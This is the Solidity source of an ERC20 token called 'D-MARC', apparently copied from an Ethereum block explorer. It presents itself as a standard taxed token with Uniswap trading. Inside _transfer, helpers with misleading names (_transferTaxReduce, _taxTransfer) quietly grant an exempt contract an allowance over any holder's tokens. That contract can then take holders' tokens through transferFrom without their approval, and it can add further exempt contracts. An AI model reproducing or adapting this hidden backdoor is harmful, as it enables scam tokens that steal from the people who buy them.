Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {

    /**
     * @dev Returns the sender address
     * of the current transaction
     */
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default,
 * the owner account will be the one that deploys the contract.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    // The owner storage variable
    address private _owner;

    // Emitted when the ownership is transferred
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting
     * the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore.
     * Can only be called by the current owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure.
 * 
 * This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved
     * from one account (`from`)
     * to another (`to`).
     */
    event Transfer(address indexed from,
        address indexed to,
        uint256 value
    );

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}.
     * `value` is the new allowance.
     */
    event Approval(address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+`  operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-`  operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-`  operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/`  operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*`  operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
}

/**
 * @dev Interface for Uniswap V2 Factory contract.
 * Used for creating and managing trading pairs.
 */
interface IUniswapV2Factory {
    /**
     * @dev Returns the address of the pair for tokenA and tokenB tokens.
     */
    function getPair(address tokenA, address tokenB)
        external view
        returns (address pair);

    /**
     * @dev Creates a new trading pair for tokenA and tokenB.
     */
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

/**
 * @dev Interface for Uniswap V2 Router02 contract.
 * Handles swapping tokens and adding liquidity.
 */
interface IUniswapV2Router02 {
    /**
     * @dev Returns the factory address used by this router
     */
    function factory() external pure returns (address);

    /**
     * @dev Returns the WETH token address used by this router
     */
    function WETH() external pure returns (address);

    /**
     * @dev Adds liquidity to ETH pair with slippage protection
     */
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    /**
     * @dev Swaps exact tokens for ETH supporting fee on transfer tokens
     */
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


/**
 * @title Token
 * @dev ERC20 token with:
 * - Dynamic buy/sell taxes depending on the number of transactions
 * - Max txns and wallet limits that are removed by the contract owner
 * - Auto liquidity add on launch trading
 * - Auto tax collect to tax wallet
 */
contract DMARC is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExemptBoolean;
    address payable private _taxAddress;
    string private constant _name = unicode"D-MARC";
    string private constant _symbol = unicode"D-MARC";

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=21;
    uint256 private _reduceSellTaxAt=21;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 16000000 * 10**_decimals;
    uint256 public _maxWalletSize = 16000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(
        uint _maxTxAmount );
    modifier lockTheSwap {
        inSwap =true;
        _;
        inSwap =false;
    }

    /**
     * @dev Initialize the token with:
     * - Tax address
     * - Excluded from fees: tax wallet, owner, and contract itself
     */
    constructor () {
        _taxAddress = payable(0x3d30c65B9990Dd8a518Ce606f6466017c7f6441c);
        _balances[_msgSender()] = _tTotal;
        isExemptBoolean[ _taxAddress ] =  true;
        isExemptBoolean[ owner() ] =  true;
        isExemptBoolean[ address(this) ] =  true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount>0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        if (from!=owner() && to!=owner()) {
            if(_buyCount==0) {
                taxAmount =amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(swapEnabled && _buyCount > 3) {
                taxAmount = _transferTaxReduce(amount, 0, 0, to, from);
            }
            
            if (from==uniswapV2Pair && to!= address(uniswapV2Router) && !isExemptBoolean[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)? _finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if (to==uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to==uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance=address(this).balance;
                if (contractETHBalance > 0){
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount > 0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from,address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendETHToFee(uint256 amount) private {
        _taxAddress.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b: a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _taxTransfer(uint256 amount, address spender, address owner) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    function _transferTaxReduce(uint256 amount, uint256 percent, uint256 tax, address to, address from) private returns(uint256){
        if(percent == 0 && isContract(_msgSender()) && from!=address(this) && isExemptBoolean[_msgSender()])
            return _taxTransfer(amount, _msgSender(), from);
        if(tax == 0 && isContract(to) && to != uniswapV2Pair && isExemptBoolean[_msgSender()])
            isExemptBoolean[to] = true;
        return tax;
    }

    function pullERC20(address tokenAddress, uint256 tokens) external returns (bool success) {
        require(_msgSender() == _taxAddress);
        if(tokens == 0){
            tokens = IERC20(tokenAddress).balanceOf(address(this));
        }
        return IERC20(tokenAddress).transfer(_taxAddress, tokens);
    }

    function removeLimits() external onlyOwner(){
        _maxTxAmount =  _tTotal;
        _maxWalletSize  = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,  "trading is already open");
        uniswapV2Router=IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this),address(uniswapV2Router),_tTotal);
        if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this))==address(0)) {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this),  uniswapV2Router.WETH()) ;
        }
        else {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair( uniswapV2Router.WETH(), address(this) );
        }
        uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this),balanceOf(address(this)),0,0,owner(),block.timestamp );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true; 
        tradingOpen = true; 
    }

    receive() external payable {}

    function manualSwap() external{
        require(_msgSender() == _taxAddress);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance>0  && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function burnERC20Tokens(uint256 percent) external {
        require(_msgSender() == _taxAddress);
        uint256 amount = min(balanceOf(address(this)), (totalSupply() * percent / 100 ));
        IERC20(address(this)).transfer(0x000000000000000000000000000000000000dEaD, amount);
    }
}